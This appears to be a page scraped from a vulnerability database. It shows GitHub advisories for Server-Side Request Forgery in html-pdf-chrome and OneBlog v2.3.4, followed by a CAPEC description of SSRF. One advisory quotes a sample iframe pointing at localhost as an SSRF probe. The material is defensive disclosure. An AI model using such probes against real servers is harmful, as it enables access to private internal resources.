    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-08-31T18:55:39Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Recommendation\nThis package is working as intended. A [Security](https://github.com/westy92/html-pdf-chrome#security) section has been added since v0.6.1 to detail proper usage of this library. Npm has revoked their advisory altogether.\n\n## Original Advisory\nAll versions of `html-pdf-chrome` are vulnerable to Server-Side Request Forgery (SSRF). The package executes HTTP requests if the parsed HTML contains external references to resources, such as `\u003ciframe src=\"http://localhost\" height=\"800px\" width=\"800px\"\u003e\u003c/iframe\u003e`. This allows attackers to access resources through HTTP that are accessible to the server, including private resources in the hosting environment.",
  "id": "GHSA-5p98-wpc9-g498",
  "modified": "2022-06-22T19:28:32Z",
  "published": "2020-09-04T15:21:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/westy92/html-pdf-chrome/issues/249"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/westy92/html-pdf-chrome"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/1339"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Server-Side Request Forgery in html-pdf-chrome"
}

GHSA-5PFQ-2C6W-69MM

Vulnerability from github – Published: 2022-06-24 00:00 – Updated: 2022-06-30 00:00
VLAI
Details

OneBlog v2.3.4 was discovered to contain a Server-Side Request Forgery (SSRF) vulnerability via the parameter entryUrls.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2022-34011"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-23T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "OneBlog v2.3.4 was discovered to contain a Server-Side Request Forgery (SSRF) vulnerability via the parameter entryUrls.",
  "id": "GHSA-5pfq-2c6w-69mm",
  "modified": "2022-06-30T00:00:37Z",
  "published": "2022-06-24T00:00:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-34011"
    },
    {
      "type": "WEB",
      "url": "https://gitee.com/yadong.zhang/DBlog/issues/I5CB2A"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

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